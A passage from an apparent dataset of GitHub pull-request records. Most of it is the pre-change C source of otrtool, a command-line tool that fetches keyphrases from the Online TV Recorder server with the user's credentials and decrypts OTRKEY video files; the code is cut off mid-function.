ServletRequest getServletRequest() {\n            return request;\n        }\n    }\n\n    static class InternalServletResponseEvent {\n        private ServletResponse response;\n\n        InternalServletResponseEvent(ServletResponse response) {\n            this.response = response;\n        }\n\n        public ServletResponse getServletResponse() {\n            return response;\n        }\n    }\n\n    static class InternalHttpSessionEvent {\n        private HttpSession session;\n\n        InternalHttpSessionEvent(HttpSession session) {\n            this.session = session;\n        }\n\n        public HttpSession getHttpSession() {\n            return session;\n        }\n    }\n}\n"}}
{"repo": "otrtool/otrtool", "pr_number": 12, "title": "Logfilemode must not be set if guimode is enabled.", "state": "closed", "merged_at": "2016-06-05T10:16:17Z", "additions": 1, "deletions": 1, "files_changed": ["src/main.c"], "files_before": {"src/main.c": "#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <strings.h>\n#include <unistd.h>\n#include <termios.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <errno.h>\n#include <sys/syscall.h>\n\n#include <time.h>\n\n#include <mcrypt.h>\n#include \"md5.h\"\n\n#include <curl/curl.h>\n#include <curl/easy.h>\n\n#define ERROR(...) \\\n  ({fprintf(stderr, \"\\n\"); \\\n    fprintf(stderr, __VA_ARGS__); \\\n    fprintf(stderr, \"\\n\"); \\\n    exit(EXIT_FAILURE); })\n\n#define PERROR(...) \\\n  ({fprintf(stderr, \"\\n\"); \\\n    fprintf(stderr, __VA_ARGS__); \\\n    fprintf(stderr, \": \"); \\\n    perror(NULL); \\\n    exit(EXIT_FAILURE); })\n\n#define MIN(a,b) ((a)<(b)?(a):(b))\n\n#ifndef VERSION\n  #define VERSION \"version unknown\"\n#endif\n\n#define LINE_LENGTH 80\n#define MAX_RESPONSE_LENGTH 1000\n#define CREAT_MODE S_IWUSR|S_IRUSR|S_IRGRP|S_IROTH\n\n#define VERB_INFO  1\n#define VERB_DEBUG 2\n\n#define ACTION_INFO       1\n#define ACTION_FETCHKEY   2\n#define ACTION_DECRYPT    3\n#define ACTION_VERIFY     4\n\n/* global options as supplied by the user via command-line etc. */\nstruct otrtool_options {\n  int action;\n  int verbosity;\n  int guimode; // do not output \\r and stuff\n  int unlinkmode;\n  char *email;\n  char *password;\n  char *keyphrase;\n  char *destdir;\n  char *destfile;\n};\nstatic struct otrtool_options opts = {\n  .action = ACTION_INFO,\n  .verbosity = VERB_INFO,\n  .guimode = 0,\n  .unlinkmode = 0,\n  .email = NULL,\n  .password = NULL,\n  .keyphrase = NULL,\n  .destdir = NULL,\n  .destfile = NULL,\n};\n\nstatic int interactive = 1; // ask questions instead of exiting\nstatic int logfilemode = 0; // do not output progress bar\n\nstatic char *email = NULL;\nstatic char *password = NULL;\nstatic char *keyphrase = NULL;\nstatic char *filename = NULL;\nstatic char *destfilename = NULL;\n\nstatic FILE *file = NULL;\nstatic FILE *keyfile = NULL;\nstatic FILE *ttyfile = NULL;\nstatic char *header = NULL;\nstatic char *info = NULL;\n\n// ######################## curl-stuff #######################\n\nstruct MemoryStruct {\n  char *memory;\n  size_t size;\n};\n\nstatic size_t WriteMemoryCallback(void *ptr, size_t size,\n          size_t nmemb, void *data) {\n  size_t realsize = size * nmemb;\n  struct MemoryStruct *mem = (struct MemoryStruct *)data;\n  char *newmem;\n  \n  // abort very long transfers\n  if (mem->size + realsize > MAX_RESPONSE_LENGTH) {\n    realsize = mem->size <= MAX_RESPONSE_LENGTH\n        ? MAX_RESPONSE_LENGTH - mem->size\n        : 0;\n  }\n  if (realsize < 1) return 0;\n  \n  // \"If realloc() fails the original block is left untouched\" (man 3 realloc)\n  newmem = realloc(mem->memory, mem->size + realsize);\n  if (newmem != NULL) {\n    mem->memory = newmem;\n    memcpy(&(mem->memory[mem->size]), ptr, realsize);\n    mem->size += realsize;\n  } else return 0;\n  return realsize;\n}\n\n// ######################## generic functions ####################\n\nchar * bin2hex(void *data_, int len) {\n  unsigned char *data = data_;\n  unsigned char *result = malloc(sizeof(char) * len * 2 + 1);\n  result[len * 2] = 0;\n  int foo;\n  for (len-- ; len >= 0 ; len--) {\n    foo = data[len] % 16;\n    result[len*2 + 1] = foo > 9 ? 0x37 + foo : 0x30 + foo;\n    foo = data[len] >> 4;\n    result[len*2] = foo > 9 ? 0x37 + foo : 0x30 + foo;\n  }\n  return (char*)result;\n}\n\nvoid * hex2bin(char *data_) {\n  int len = strlen(data_) / 2;\n  unsigned char *data = (unsigned char*)data_;\n  // never tested with lowercase letters!\n  unsigned char *result = malloc(sizeof(char) * len + 1);\n  int foo, bar;\n  result[len] = 0;\n  for (len-- ; len >= 0 ; len--) {\n    foo = data[len*2];\n    if (foo < 0x41) {\n      // is a digit\n      bar = foo - 0x30;\n    } else if (foo < 0x61) {\n      // is a uppercase letter\n      bar = foo - 0x37;\n    } else {\n      // is a lowercase letter\n      bar = foo - 0x57;\n    }\n    result[len] = bar << 4;\n    \n    foo = data[len*2 + 1];\n    if (foo < 0x41) {\n      // is a digit\n      bar = foo - 0x30;\n    } else if (foo < 0x61) {\n      // is a uppercase letter\n      bar = foo - 0x37;\n    } else {\n      // is a lowercase letter\n      bar = foo - 0x57;\n    }\n    result[len] += bar;\n  }\n  return (void*)result;\n}\n\n// C does not support binary constants, but gcc >= 4.3 does.\n// Because we can't really expect people to update their compilers in four\n// years (4.3 is from march 2008), the following defines will substitute\n// the three values used by base64Encode with their decimal equivalent.\n#define B_11 3\n#define B_1111 15\n#define B_111111 63\nchar * base64Encode(void *data_, int len) {\n  unsigned char *data = data_;\n  static const char *b64 = \"\\\nABCDEFGHIJKLMNOPQRSTUVWXYZ\\\nabcdefghijklmnopqrstuvwxyz\\\n0123456789+/\";\n  int blocks = (len + 2) / 3;\n  int newlen = blocks * 4 + 1;\n  char *result = malloc(newlen);\n  char *resptr = result;\n  int i;\n  \n  for (i = len / 3 ; i > 0 ; i--) {\n    resptr[0] = b64[  data[0]             >> 2 ];\n    resptr[1] = b64[ (data[0] &     B_11) << 4\n                    | data[1]             >> 4 ];\n    resptr[2] = b64[ (data[1] &   B_1111) << 2\n                    | data[2]             >> 6 ];\n    resptr[3] = b64[  data[2] & B_111111       ];\n    resptr += 4;\n    data += 3;\n  }\n  \n  if (len < blocks * 3 - 1) {\n    resptr[0] = b64[  data[0]             >> 2 ];\n    resptr[1] = b64[ (data[0] &     B_11) << 4 ];\n    resptr[2] = '=';\n    resptr[3] = '=';\n    resptr += 4;\n  } else if (len < blocks * 3) {\n    resptr[0] = b64[  data[0]             >> 2 ];\n    resptr[1] = b64[ (data[0] &     B_11) << 4\n                    | data[1]             >> 4 ];\n    resptr[2] = b64[ (data[1] &   B_1111) << 2 ];\n    resptr[3] = '=';\n    resptr += 4;\n  }\n  \n  *resptr = 0;\n  return result;\n}\n\nvoid * base64Decode(char *text, int *outlen) {\n  static const unsigned char b64dec[] = {\n   0,  0,  0,  0,  0,  0,  0,  0,   0,  0,  0,  0,  0,  0,  0,  0, //00\n   0,  0,  0,  0,  0,  0,  0,  0,   0,  0,  0,  0,  0,  0,  0,  0, //10\n   0,  0,  0,  0,  0,  0,  0,  0,   0,  0,  0, 62,  0,  0,  0, 63, //20\n  52, 53, 54, 55, 56, 57, 58, 59,  60, 61,  0,  0,  0,  0,  0,  0, //30\n   0,  0,  1,  2,  3,  4,  5,  6,   7,  8,  9, 10, 11, 12, 13, 14, //40\n  15, 16, 17, 18, 19, 20, 21, 22,  23, 24, 25,  0,  0,  0,  0,  0, //50\n   0, 26, 27, 28, 29, 30, 31, 32,  33, 34, 35, 36, 37, 38, 39, 40, //60\n  41, 42, 43, 44, 45, 46, 47, 48,  49, 50, 51,  0,  0,  0,  0,  0, //70\n   0,  0,  0,  0,  0,  0,  0,  0,   0,  0,  0,  0,  0,  0,  0,  0, //80\n   0,  0,  0,  0,  0,  0,  0,  0,   0,  0,  0,  0,  0,  0,  0,  0, //90\n   0,  0,  0,  0,  0,  0,  0,  0,   0,  0,  0,  0,  0,  0,  0,  0, //a0\n   0,  0,  0,  0,  0,  0,  0,  0,   0,  0,  0,  0,  0,  0,  0,  0, //b0\n   0,  0,  0,  0,  0,  0,  0,  0,   0,  0,  0,  0,  0,  0,  0,  0, //c0\n   0,  0,  0,  0,  0,  0,  0,  0,   0,  0,  0,  0,  0,  0,  0,  0, //d0\n   0,  0,  0,  0,  0,  0,  0,  0,   0,  0,  0,  0,  0,  0,  0,  0, //e0\n   0,  0,  0,  0,  0,  0,  0,  0,   0,  0,  0,  0,  0,  0,  0,  0  //f0\n  };\n  // this functions treats invalid characters as 'A'. deal with it :-P\n  int inlen = (strlen(text) >> 2) << 2;\n  int blocks = inlen >> 2;\n  *outlen = blocks * 3 - (text[inlen-2] == '='\n      ? 2 : (text[inlen-1] == '=' ? 1 : 0));\n  char *result = malloc(blocks * 3);\n  char *resptr = result;\n  u_int8_t *text_ = (u_int8_t*)text;\n  int i;\n  \n  for (i = 0 ; i < blocks ; i++) {\n    resptr[0] = b64dec[text_[0]] << 2 | b64dec[text_[1]] >> 4;\n    resptr[1] = b64dec[text_[1]] << 4 | b64dec[text_[2]] >> 2;\n    resptr[2] = b64dec[text_[2]] << 6 | b64dec[text_[3]];\n    \n    text_ += 4;\n    resptr += 3;\n  }\n  \n  return (void*)result;\n}\n\nint isBase64(char *text) {\n  static const char *b64 = \"\\\nABCDEFGHIJKLMNOPQRSTUVWXYZ\\\nabcdefghijklmnopqrstuvwxyz\\\n0123456789+/=\";\n  return strlen(text) == strspn(text, b64);\n}\n\nchar * queryGetParam(char *query, char *name) {\n  char *begin = index(query, '&');\n  char *end;\n  int nameLen = strlen(name);\n  \n  while (begin != NULL) {\n    begin++;\n    if (strncmp(begin, name, nameLen) == 0 && begin[nameLen] == '=') {\n      begin += nameLen + 1;\n      end = index(begin, '&');\n      if (end == NULL)\n        end = begin + strlen(begin);\n      char *result = malloc(end - begin + 1);\n      strncpy(result, begin, end - begin);\n      result[end - begin] = 0;\n      return result;\n    }\n    begin = index(begin, '&');\n  }\n  return NULL;\n}\n\nvoid quote(char *message) {\n  char line[LINE_LENGTH + 1];\n  line[0] = '>';\n  line[1] = ' ';\n  int index = 2;\n  \n  while (*message != 0) {\n    if (*message < 0x20 || *message > 0x7E) {\n      line[index++] = ' ';\n    } else {\n      line[index++] = *message;\n    }\n    if (index == LINE_LENGTH) {\n      line[index++] = '\\n';\n      fwrite(line, index, 1, stderr);\n      line[0] = '>';\n      line[1] = ' ';\n      index = 2;\n    }\n    message++;\n  }\n  line[index++] = '\\n';\n  if (index != 3) fwrite(line, index, 1, stderr);\n}\n\nvoid dumpQuerystring(char *query) {\n  int length = strlen(query);\n  char line[LINE_LENGTH + 1];\n  int index = 0;\n  \n  if (*query == '&') {\n    line[0] = '&';\n    index++;\n    query++;\n  }\n  \n  for (; length > 0 ; length --) {\n    if (*query == '&') {\n      line[index] = '\\n';\n      fwrite(line, index + 1, 1, stderr);\n      index = 0;\n    }\n    line[index] = *query;\n    \n    index++;\n    if (index == LINE_LENGTH) {\n      line[index] = '\\n';\n      fwrite(line, index + 1, 1, stderr);\n      line[0] = ' ';\n      index = 1;\n    }\n    query++;\n  }\n  line[index] = '\\n';\n  if (index != LINE_LENGTH) fwrite(line, index + 1, 1, stderr);\n}\n\nvoid dumpHex(void *data_, int len) {\n  unsigned char *data = data_;\n  unsigned char *line = malloc(sizeof(char) * LINE_LENGTH + 1);\n  char *hexrep_orig = bin2hex(data, len);\n  char *hexrep = hexrep_orig;\n  int i, pos;\n  \n  for (pos = 0 ; pos < len ; pos += 16) {\n    for (i = 0 ; i < 8 ; i++) {\n      line[i*3]   = pos+i < len ? hexrep[i*2] : ' ';\n      line[i*3+1] = pos+i < len ? hexrep[i*2+1] : ' ';\n      line[i*3+2] = ' ';\n    }\n    line[24] = ' ';\n    for (i = 8 ; i < 16 ; i++) {\n      line[i*3+1] = pos+i < len ? hexrep[i*2] : ' ';\n      line[i*3+2] = pos+i < len ? hexrep[i*2+1] : ' ';\n      line[i*3+3] = ' ';\n    }\n    line[49] = ' ';\n    line[50] = '|';\n    for (i = 0 ; i < 16 ; i++) {\n      if (data[pos+i] >= 0x20 && data[pos+i] < 0x7f) {\n        line[51+i] = pos+i < len ? data[pos+i] : ' ';\n      } else {\n        line[51+i] = pos+i < len ? '.' : ' ';\n      }\n    }\n    line[67] = '|';\n    \n    line[68] = 0;\n    fprintf(stderr, \"%08x  %s\\n\", pos, line);\n    hexrep += 32;\n  }\n  fprintf(stderr, \"%08x\\n\", len);\n  free(line);\n  free(hexrep_orig);\n}\n\n/* special case length=0 means 'finished' */\nvoid showProgress(long long position, long long length) {\n  static long long oldpos = 0;\n  static unsigned int blocknum = 0;\n  const char progressbar[41] = \"========================================\";\n  const char *rotatingFoo = \"|/-\\\\\";\n\n  if (logfilemode)\n    return;\n  if (length > 0) {\n    if (oldpos > position) {\n      oldpos = 0;\n      blocknum = 0;\n    }\n    if (position - oldpos >= 2097152 || position == 0) {\n      if (opts.guimode == 0) {\n        fprintf(stderr, \"[%-40.*s] %3i%% %c\\r\", (int)(position*40/length),\n            progressbar, (int)(position*100/length),\n            rotatingFoo[blocknum++ % 4]);\n      } else {\n        fprintf(stderr, \"gui> %3i\\n\", (int)(position*100/length));\n      }\n      fflush(stderr);\n      oldpos = position;\n    }\n  } else {\n    if (opts.guimode == 0) {\n      fputs(\"[========================================] 100%    \\n\", stderr);\n    } else {\n      fputs(\"gui> Finished\\n\", stderr);\n    }\n    oldpos = 0;\n    blocknum = 0;\n  }\n}\n\n// ###################### special functions ####################\n\nchar * getHeader() {\n  unsigned char *header = malloc(sizeof(char) * 513);\n  if (fread(header, 512, 1, file) < 1 && !feof(file))\n    PERROR(\"Error reading file\");\n  if (feof(file))\n    ERROR(\"Error: unexpected end of file\");\n  MCRYPT blowfish;\n  blowfish = mcrypt_module_open(\"blowfish-compat\", NULL, \"ecb\", NULL);\n  unsigned char hardKey[] = {\n      0xEF, 0x3A, 0xB2, 0x9C, 0xD1, 0x9F, 0x0C, 0xAC,\n      0x57, 0x59, 0xC7, 0xAB, 0xD1, 0x2C, 0xC9, 0x2B,\n      0xA3, 0xFE, 0x0A, 0xFE, 0xBF, 0x96, 0x0D, 0x63,\n      0xFE, 0xBD, 0x0F, 0x45};\n  mcrypt_generic_init(blowfish, hardKey, 28, NULL);\n  mdecrypt_generic(blowfish, header, 512);\n  mcrypt_generic_deinit(blowfish);\n  mcrypt_module_close(blowfish);\n  header[512] = 0;\n  \n  char *padding = strstr((char*)header, \"&PD=\");\n  if (padding == NULL)\n    ERROR(\"Corrupted header: could not find padding\");\n  *padding = 0;\n  \n  if (opts.verbosity >= VERB_DEBUG) {\n    fputs(\"\\nDumping decrypted header:\\n\", stderr);\n    dumpQuerystring((char*)header);\n    fputs(\"\\n\", stderr);\n  }\n  return (char*)header;\n}\n\nvoid * generateBigkey(char *date) {\n  char *mailhash = bin2hex(MD5(\n      (unsigned char*)email, strlen(email), NULL), 16);\n  char *passhash = bin2hex(MD5(\n      (unsigned char*)password, strlen(password), NULL), 16);\n  char *bigkey_hex = malloc(57 * sizeof(char));\n  char *ptr = bigkey_hex;\n  \n  strncpy(ptr, mailhash, 13);\n  ptr += 13;\n  \n  strncpy(ptr, date, 4);\n  date += 4;\n  ptr += 4;\n  \n  strncpy(ptr, passhash, 11);\n  ptr += 11;\n  \n  strncpy(ptr, date, 2);\n  date += 2;\n  ptr += 2;\n  \n  strncpy(ptr, mailhash + 21, 11);\n  ptr += 11;\n  \n  strncpy(ptr, date, 2);\n  ptr += 2;\n  \n  strncpy(ptr, passhash + 19, 13);\n  ptr += 13;\n  \n  *ptr = 0;\n  \n  if (opts.verbosity >= VERB_DEBUG) {\n    fprintf(stderr, \"\\nGenerated BigKey: %s\\n\\n\", bigkey_hex);\n  }\n  \n  void *res = hex2bin(bigkey_hex);\n  \n  free(bigkey_hex);\n  free(mailhash);\n  free(passhash);\n  return res;\n}\n\nchar * generateRequest(void *bigkey, char *date) {\n  char *headerFN = queryGetParam(header, \"FN\");\n  char *thatohthing = queryGetParam(header, \"OH\");\n  MCRYPT blowfish = mcrypt_module_open(\"blowfish-compat\", NULL, \"cbc\", NULL);\n  char *iv = malloc(mcrypt_enc_get_iv_size(blowfish));\n  char *code = malloc(513);\n  char *dump = malloc(513);\n  char *result = malloc(1024); // base64-encoded code is 680 bytes\n  \n  memset(iv, 0x42, mcrypt_enc_get_iv_size(blowfish));\n  memset(dump, 'd', 512);\n  dump[512] = 0;\n  \n  snprintf(code, 513, \"FOOOOBAR\\\n&OS=01677e4c0ae5468b9b8b823487f14524\\\n&M=01677e4c0ae5468b9b8b823487f14524\\\n&LN=DE\\\n&VN=1.4.1132\\\n&IR=TRUE\\\n&IK=aFzW1tL7nP9vXd8yUfB5kLoSyATQ\\\n&FN=%s\\\n&OH=%s\\\n&A=%s\\\n&P=%s\\\n&D=%s\", headerFN, thatohthing, email, password, dump);\n  \n  if (opts.verbosity >= VERB_DEBUG) {\n    fputs(\"\\nGenerated request-'code':\\n\", stderr);\n    dumpQuerystring(code);\n    fputs(\"\\n\", stderr);\n  }\n  \n  mcrypt_generic_init(blowfish, bigkey, 28, iv);\n  mcrypt_generic(blowfish, code, 512);\n  mcrypt_generic_deinit(blowfish);\n  mcrypt_module_close(blowfish);\n  \n  if (opts.verbosity >= VERB_DEBUG) {\n    fputs(\"\\nEncrypted request-'code':\\n\", stderr);\n    dumpHex(code, 512);\n    fputs(\"\\n\", stderr);\n  }\n  \n  snprintf(result, 1024, \"http://87.236.198.182/quelle_neu1.php\\\n?code=%s\\\n&AA=%s\\\n&ZZ=%s\", base64Encode(code, 512), email, date);\n  \n  if (opts.verbosity >= VERB_DEBUG) {\n    fprintf(stderr, \"\\nRequest:\\n%s\\n\\n\", result);\n  }\n  \n  free(code);\n  free(dump);\n  free(iv);\n  free(headerFN);\n  free(thatohthing);\n  return result;\n}\n\nstruct MemoryStruct * contactServer(char *request) {\n  // http://curl.haxx.se/libcurl/c/getinmemory.html\n  CURL *curl_handle;\n  char errorstr[CURL_ERROR_SIZE];\n  \n  struct MemoryStruct *chunk = malloc(sizeof(struct MemoryStruct));\n  chunk->memory=NULL; /* we expect realloc(NULL, size) to work */ \n  chunk->size = 0;    /* no data at this point */ \n  \n  curl_global_init(CURL_GLOBAL_ALL);\n  \n  /* init the curl session */ \n  curl_handle = curl_easy_init();\n  \n  /* specify URL to get */ \n  curl_easy_setopt(curl_handle, CURLOPT_URL, request);\n  \n  /* send all data to this function  */ \n  curl_easy_setopt(curl_handle, CURLOPT_WRITEFUNCTION, WriteMemoryCallback);\n  \n  /* we pass our 'chunk' struct to the callback function */ \n  curl_easy_setopt(curl_handle, CURLOPT_WRITEDATA, (void *)chunk);\n  \n  /* imitate the original OTR client */ \n  curl_easy_setopt(curl_handle, CURLOPT_USERAGENT, \"Linux-OTR-Decoder/0.4.592\");\n  curl_easy_setopt(curl_handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);\n  \n  /* set verbosity and error message buffer */\n  if (opts.verbosity >= VERB_DEBUG)\n    curl_easy_setopt(curl_handle, CURLOPT_VERBOSE, 1);\n  curl_easy_setopt(curl_handle, CURLOPT_ERRORBUFFER, errorstr);\n  \n  /* get it! */ \n  if (curl_easy_perform(curl_handle) != 0)\n    ERROR(\"cURL error: %s\", errorstr);\n  \n  /* cleanup curl stuff */ \n  curl_easy_cleanup(curl_handle);\n  \n  /*\n   * Now, our chunk.memory points to a memory block that is chunk.size\n   * bytes big and contains the remote file.\n   *\n   * Do something nice with it!\n   *\n   * You should be aware of the fact that at this point we might have an\n   * allocated data block, and nothing has yet deallocated that data. So when\n   * you're done with it, you should free() it as a nice application.\n   */ \n  \n  /* we're done with libcurl, so clean it up */ \n  curl_global_cleanup();\n  \n  // null-terminate response\n  chunk->memory = realloc(chunk->memory, chunk->size + 1);\n  if (chunk->memory == NULL) PERROR(\"realloc\");\n  chunk->memory[chunk->size] = 0;\n  return chunk;\n}\n\nchar * decryptResponse(char *response, int length, void *bigkey) {\n  MCRYPT blowfish = mcrypt_module_open(\"blowfish-compat\", NULL, \"cbc\", NULL);\n  \n  if (length < mcrypt_enc_get_iv_size(blowfish) || length < 8)\n    return NULL;\n  length -= 8;\n  \n  char *result = malloc(length);\n  memcpy(result, response+8, length);\n  \n  mcrypt_generic_init(blowfish, bigkey, 28, response);\n  mdecrypt_generic(blowfish, result, length);\n  mcrypt_generic_deinit(blowfish);\n  mcrypt_module_close(blowfish);\n  \n  char *padding = strstr(result, \"&D=\");\n  if (padding == NULL)\n    ERROR(\"Corrupted response: could not find padding\");\n  *padding = 0;\n  \n  if (opts.verbosity >= VERB_DEBUG) {\n    fputs(\"\\nDecrypted response:\\n\", stderr);\n    dumpQuerystring(result);\n    fputs(\"\\n\", stderr);\n  }\n  \n  return result;\n}\n\nvoid keycache_open() {\n  char *home, *keyfilename;\n  \n  if ((home = getenv(\"HOME\")) == NULL) return;\n  keyfilename = malloc(strlen(home) + 20);\n  strcpy(keyfilename, home);\n  strcat(keyfilename, \"/.otrkey_cache\");\n  keyfile = fopen(keyfilename, \"a+\");\n  free(keyfilename);\n}\n\nchar *keycache_get(const char *fh) {\n  char *cachephrase, *cachefh;\n  static char line[512];\n  \n  if (fh == NULL || keyfile == NULL) return NULL;\n  rewind(keyfile);\n  while (fgets(line, sizeof(line), keyfile) != NULL) {\n    cachefh = strtok(line, \" \\t\\r\\n\");\n    cachephrase = strtok(NULL, \" \\t\\r\\n\");\n    if (cachephrase == NULL || cachefh == NULL) continue;\n    if (strcmp(cachefh, fh) == 0) return cachephrase;\n  }\n  if (!feof(keyfile)) PERROR(\"fgets\");\n  return NULL;\n}\n\nvoid keycache_put(const char *fh, const char *keyphrase) {\n  char *cachephrase, *fn;\n  \n  if (fh == NULL || keyfile == NULL) return;\n  if ((cachephrase = keycache_get(fh)) != NULL) {\n    if (strcmp(keyphrase, cachephrase) != 0)\n      fputs(\"warning: differing keyphrase was found in cache file!\\n\", stderr);\n    else\n      fputs(\"info: keyphrase was already in cache\\n\", stderr);\n    return;\n  }\n  fn = queryGetParam(header, \"FN\");\n  if (fprintf(keyfile, \"%s\\t%s\\t# %s\\n\", fh, keyphrase, fn) < 0)\n    PERROR(\"fprintf\");\n  fflush(keyfile);\n  fputs(\"info: saved keyphrase to ~/.otrkey_cache\\n\", stderr);\n}\n\nvoid fetchKeyphrase() {\n  struct termios ios0, ios1;\n  time_t time_ = time(NULL);\n  char *date = malloc(9);\n  strftime(date, 9, \"%Y%m%d\", gmtime(&time_));\n  \n  if (info) {\n    free(info);\n    info = NULL;\n  }\n  \n  if (opts.email == NULL) {\n    if (!interactive) ERROR(\"Email address not specified\");\n    opts.email = malloc(51);\n    fputs(\"Enter your eMail-address: \", stderr);\n    if (fscanf(ttyfile, \"%50s\", opts.email) < 1)\n      ERROR(\"Email invalid\");\n    while (fgetc(ttyfile) != '\\n');\n  }\n  email = strdup(opts.email);\n\n  if (opts.password == NULL) {\n    if (!interactive) ERROR(\"Password not specified\");\n    opts.password = malloc(51);\n    fputs(\"Enter your password: \", stderr);\n    tcgetattr(fileno(ttyfile), &ios0);\n    ios1 = ios0;\n    ios1.c_lflag &= ~ECHO;\n    tcsetattr(fileno(ttyfile), TCSAFLUSH, &ios1);\n    if (fscanf(ttyfile, \"%50s\", opts.password) < 1) {\n      tcsetattr(0, TCSAFLUSH, &ios0);\n      ERROR(\"Password invalid\");\n    }\n    tcsetattr(fileno(ttyfile), TCSAFLUSH, &ios0);\n    while (fgetc(ttyfile) != '\\n');\n    fputc('\\n', stderr);\n  }\n  password = strdup(opts.password);\n  \n  char *bigkey = generateBigkey(date);\n  char *request = generateRequest(bigkey, date);\n  free(email);\n  free(password);\n  \n  fputs(\"Trying to contact server...\\n\", stderr);\n  struct MemoryStruct *response = contactServer(request);\n\n  if (response->size == 0 || response->memory == NULL) {\n    ERROR(\"Server sent an empty response, exiting\");\n  }\n  fputs(\"Server responded.\\n\", stderr);\n  \n  // skip initial whitespace\n  char *message = response->memory;\n  message += strspn(message, \" \\t\\n\");\n  \n  if (isBase64(message) == 0) {\n    if (memcmp(message,\"MessageToBePrintedInDecoder\",27) ==0) {\n      fputs(\"Server sent us this sweet message:\\n\", stderr);\n      quote(message + 27);\n    } else {\n      fputs(\"Server sent us this ugly crap:\\n\", stderr);\n      dumpHex(response->memory, response->size);\n    }\n    ERROR(\"Server response is unuseable, exiting\");\n  }\n  \n  int info_len;\n  char *info_crypted = base64Decode(message, &info_len);\n  \n  if (info_len % 8 != 0) {\n    fputs(\"Length of response must be a multiple of 8.\", stderr);\n    dumpHex(info_crypted, info_len);\n    ERROR(\"Server response is unuseable, exiting\");\n  }\n  \n  info = decryptResponse(info_crypted, info_len, bigkey);\n  \n  keyphrase = queryGetParam(info, \"HP\");\n  if (keyphrase == NULL)\n    ERROR(\"Response lacks keyphrase\");\n  \n  if (strlen(keyphrase) != 56)\n    ERROR(\"Keyphrase has wrong length\");\n  \n  fprintf(stderr, \"Keyphrase: %s\\n\", keyphrase);\n  keycache_put(queryGetParam(header, \"FH\"), keyphrase);\n  \n  free(date);\n  free(bigkey);\n  free(request);\n  free(response->memory);\n  free(response);\n  free(info_crypted);\n}\n\nvoid openFile() {\n  if (strcmp(\"-\", filename) == 0)\n    file = stdin;\n  else\n    file = fopen(filename, \"rb\");\n  \n  if (file == NULL)\n    PERROR(\"Error opening file\");\n  \n  char magic[11] = { 0 };\n  if (fread(magic, 10, 1, file) < 1 && !feof(file))\n    PERROR(\"Error reading file\");\n  if (feof(file))\n    ERROR(\"Error: unexpected end of file\");\n  if (strcmp(magic, \"OTRKEYFILE\") != 0)\n    ERROR(\"Wrong file format\");\n  \n  header = getHeader();\n}\n\ntypedef struct verifyFile_ctx {\n  MD5_CTX ctx;\n  char hash1[16];\n  int input;\n} vfy_t;\n\nvoid verifyFile_init(vfy_t *vfy, int input) {\n  char *hash_hex, *hash;\n  int i;\n  \n  memset(vfy, 0, sizeof(*vfy));\n  vfy->input = input;\n  \n  /* get MD5 sum from 'OH' or 'FH' header field */\n  hash_hex = queryGetParam(header, vfy->input?\"OH\":\"FH\");\n  if (hash_hex == NULL || strlen(hash_hex) != 48)\n    ERROR(\"Missing hash in file header / unexpected format\");\n  for (i=1; i<16; ++i) {\n    hash_hex[2*i] = hash_hex[3*i];\n    hash_hex[2*i+1] = hash_hex[3*i+1];\n  }\n  hash_hex[32] = 0;\n  if (opts.verbosity >= VERB_DEBUG)\n    fprintf(stderr, \"Checking %s against MD5 sum: %s\\n\",\n      vfy->input?\"input\":\"output\", hash_hex);\n  hash = hex2bin(hash_hex);\n  memcpy(vfy->hash1, hash, 16);\n  \n  /* calculate MD5 sum of file (without header) */\n  memset(&vfy->ctx, 0, sizeof(vfy->ctx));\n  MD5_Init(&vfy->ctx);\n  \n  free(hash_hex);\n  free(hash);\n}\n\nvoid verifyFile_data(vfy_t *vfy, char *buffer, size_t len) {\n  MD5_Update(&vfy->ctx, buffer, len);\n}\n\nvoid verifyFile_final(vfy_t *vfy) {\n  unsigned char md5[16];\n  \n  MD5_Final(md5, &vfy->ctx);\n  if (memcmp(vfy->hash1, md5, 16) != 0) {\n    if (vfy->input)\n      ERROR(\"Input file had errors. Output may or may not be usable.\");\n    else\n      ERROR(\"Output verification failed. Wrong key?\");\n  }\n}\n\nvoid verifyOnly() {\n  vfy_t vfy;\n  size_t n;\n  static char buffer[65536];\n  unsigned long long length;\n  unsigned long long position;\n\n  length = atoll(queryGetParam(header, \"SZ\")) - 522;\n  fputs(\"Verifying otrkey...\\n\", stderr);\n  verifyFile_init(&vfy, 1);\n  for (position = 0; position < length; position += n) {\n    showProgress(position, length);\n    n = fread(buffer, 1, MIN(length - position, sizeof(buffer)), file);\n    if (n == 0 || ferror(file)) break;\n    verifyFile_data(&vfy, buffer, n);\n  }\n  if (position < length) {\n    if (!feof(file)) PERROR(\"fread\");\n    if (!logfilemode) fputc('\\n', stderr);\n    fputs(\"file is too short\\n\", stderr);\n  }\n  else\n    showProgress(1, 0);\n\n  if (fread(buffer, 1, 1, file) > 0)\n    fputs(\"file contains trailing garbage\\n\", stderr);\n  else if (!feof(file))\n    PERROR(\"fread\");\n  verifyFile_final(&vfy);\n  fputs(\"file is OK\\n\", stderr);\n}\n\nvoid decryptFile() {\n  int fd;\n  char *headerFN;\n  struct stat st;\n  FILE *destfile;\n\n  if (opts.destfile == NULL) {\n    headerFN = queryGetParam(header, \"FN\");\n    if (opts.destdir != NULL) {\n      destfilename = malloc(strlen(opts.destdir) + strlen(headerFN) + 2);\n      strcpy(destfilename, opts.destdir);\n      strcat(destfilename, \"/\");\n      strcat(destfilename, headerFN);\n      free(headerFN);\n    }\n    else {\n      destfilename = headerFN;\n    }\n  }\n  else {\n    destfilename = strdup(opts.destfile);\n  }\n  \n  if (strcmp(destfilename, \"-\") == 0) {\n    if (isatty(1)) ERROR(\"error: cowardly refusing to output to a terminal\");\n    fd = 1;\n  }\n  else\n    fd = open(destfilename, O_WRONLY|O_CREAT|O_EXCL, CREAT_MODE);\n  if (fd < 0 && errno == EEXIST) {\n    if (stat(destfilename, &st) != 0 || S_ISREG(st.st_mode)) {\n      if (!interactive) ERROR(\"Destination file exists: %s\", destfilename);\n      fprintf(stderr, \"Destination file exists: %s\\nType y to overwrite: \",\n        destfilename);\n      if (fgetc(ttyfile) != 'y') exit(EXIT_FAILURE);\n      while (fgetc(ttyfile) != '\\n');\n      fd = open(destfilename, O_WRONLY|O_TRUNC, 0);\n    }\n    else\n      fd = open(destfilename, O_WRONLY, 0);\n  }\n  if (fd < 0)\n    PERROR(\"Error opening destination file: %s\", destfilename);\n  if ((destfile = fdopen(fd, \"wb\")) == NULL)\n    PERROR(\"fdopen\");\n  